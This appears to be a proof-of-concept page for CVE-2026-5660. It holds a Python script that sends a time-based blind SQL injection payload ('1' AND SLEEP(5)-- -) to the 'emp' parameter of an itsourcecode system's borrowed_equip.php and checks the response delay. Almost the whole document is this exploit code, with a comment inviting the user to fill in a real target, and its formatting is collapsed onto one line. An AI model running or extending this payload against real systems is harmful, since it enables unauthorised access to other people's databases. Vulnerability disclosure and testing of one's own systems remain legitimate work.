CVE-2026-5660: itsourcecode管理系统SQL注入漏洞

import requests def check_sqli_vuln(target_url): """ Proof of Concept for CVE-2026-5660 SQL Injection Target: /borrowed_equip.php?emp= """ # Time-based blind SQL injection payload payload = "1' AND SLEEP(5)-- -" # Construct the full request URL # Assuming the parameter is passed via GET based on typical PHP vulns params = { "emp": payload } try: print(f"[*] Sending request to {target_url}...") response = requests.get(target_url, params=params, timeout=10) # Check if the response time indicates a delay (injection success) if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed! The application responded with a delay.") else: print("[-] Vulnerability not detected based on timing.") except requests.exceptions.RequestException as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://localhost/borrowed_equip.php" check_sqli_vuln(target)